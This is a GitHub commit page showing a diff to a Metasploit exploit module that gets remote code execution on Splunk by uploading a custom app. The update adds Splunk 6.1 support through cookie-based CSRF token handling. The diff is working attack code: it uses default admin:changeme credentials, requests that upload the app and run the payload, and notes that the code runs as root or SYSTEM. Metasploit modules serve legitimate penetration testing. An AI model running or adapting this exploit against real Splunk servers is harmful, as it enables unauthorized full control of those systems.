Skip to content

Commit 55f245f

Browse files
committed
Merge rapid7#3507 into local, recently updated branch of master for landing
2 parents cc7f7c9 + 755dec1 commit 55f245f

File tree

1 file changed

+24
-10
lines changed

1 file changed

+24
-10
lines changed

modules/exploits/multi/http/splunk_upload_app_exec.rb

Lines changed: 24 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -12,22 +12,23 @@ class Metasploit3 < Msf::Exploit::Remote
1212

1313
def initialize(info = {})
1414
super(update_info(info,
15-
'Name' => 'Splunk 5.0 Custom App Remote Code Execution',
15+
'Name' => 'Splunk Custom App Remote Code Execution',
1616
'Description' => %q{
1717
This module exploits a feature of Splunk whereby a custom application can be
1818
uploaded through the web based interface. Through the 'script' search command a
1919
user can call commands defined in their custom application which includes arbitrary
2020
perl or python code. To abuse this behavior, a valid Splunk user with the admin
2121
role is required. By default, this module uses the credential of "admin:changeme",
2222
the default Administrator credential for Splunk. Note that the Splunk web interface
23-
runs as SYSTEM on Windows, or as root on Linux by default. This module has only
24-
been tested successfully against Splunk 5.0.
23+
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
24+
tested successfully against Splunk 5.0, 6.1, and 6.1.1.
2525
},
2626
'Author' =>
2727
[
2828
"marcwickenden", # discovery and metasploit module
2929
"sinn3r", # metasploit module
30-
"juan vazquez" # metasploit module
30+
"juan vazquez", # metasploit module
31+
"Gary Blosser" # metasploit module updates for Splunk 6.1
3132
],
3233
'License' => MSF_LICENSE,
3334
'References' =>
@@ -44,13 +45,13 @@ def initialize(info = {})
4445
'Platform' => %w{ linux unix win },
4546
'Targets' =>
4647
[
47-
[ 'Splunk 5.0.1 / Linux',
48+
[ 'Splunk >= 5.0.1 / Linux',
4849
{
4950
'Arch' => ARCH_CMD,
5051
'Platform' => %w{ linux unix }
5152
}
5253
],
53-
[ 'Splunk 5.0.1 / Windows',
54+
[ 'Splunk >= 5.0.1 / Windows',
5455
{
5556
'Arch' => ARCH_CMD,
5657
'Platform' => 'win'
@@ -96,6 +97,7 @@ def exploit
9697
# set up some variables for later use
9798
@auth_cookies = ''
9899
@csrf_form_key = ''
100+
@csrf_form_port = "splunkweb_csrf_token_#{rport}" #Default to using rport, corrected during tokenization for v6 below.
99101
app_name = 'upload_app_exec'
100102
p = payload.encoded
101103
print_status("Using command: #{p}")
@@ -121,11 +123,11 @@ def exploit
121123
{
122124
'uri' => '/en-US/api/search/jobs',
123125
'method' => 'POST',
124-
'cookie' => @auth_cookies,
126+
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
125127
'headers' =>
126128
{
127129
'X-Requested-With' => 'XMLHttpRequest',
128-
'X-Splunk-Form-Key' => @csrf_form_key
130+
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified)
129131
},
130132
'vars_post' =>
131133
{
@@ -274,7 +276,7 @@ def do_upload_app(app_name, file_name)
274276
res = send_request_cgi({
275277
'uri' => '/en-US/manager/appinstall/_upload',
276278
'method' => 'POST',
277-
'cookie' => @auth_cookies,
279+
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
278280
'ctype' => "multipart/form-data; boundary=#{boundary}",
279281
'data' => data
280282
}, 30)
@@ -294,8 +296,20 @@ def do_get_csrf(uri)
294296
'method' => 'GET',
295297
'cookie' => @auth_cookies
296298
})
297-
res.body.match(/FORM_KEY":\ "(\d+)"/)
299+
res.body.match(/FORM_KEY":\ "(\d+)"/) # Version 5
298300
@csrf_form_key = $1
301+
302+
unless @csrf_form_key # Version 6
303+
res.get_cookies.split(';').each {|c|
304+
c.split(',').each {|v|
305+
if v.split('=')[0] =~ /splunkweb_csrf_token/ #regex as the full name is something like splunkweb_csrf_token_8000
306+
@csrf_form_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
307+
@csrf_form_key = v.split('=')[1]
308+
end
309+
}
310+
}
311+
end
312+
299313
fail_with(Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
300314
end
301315

0 commit comments

Comments
 (0)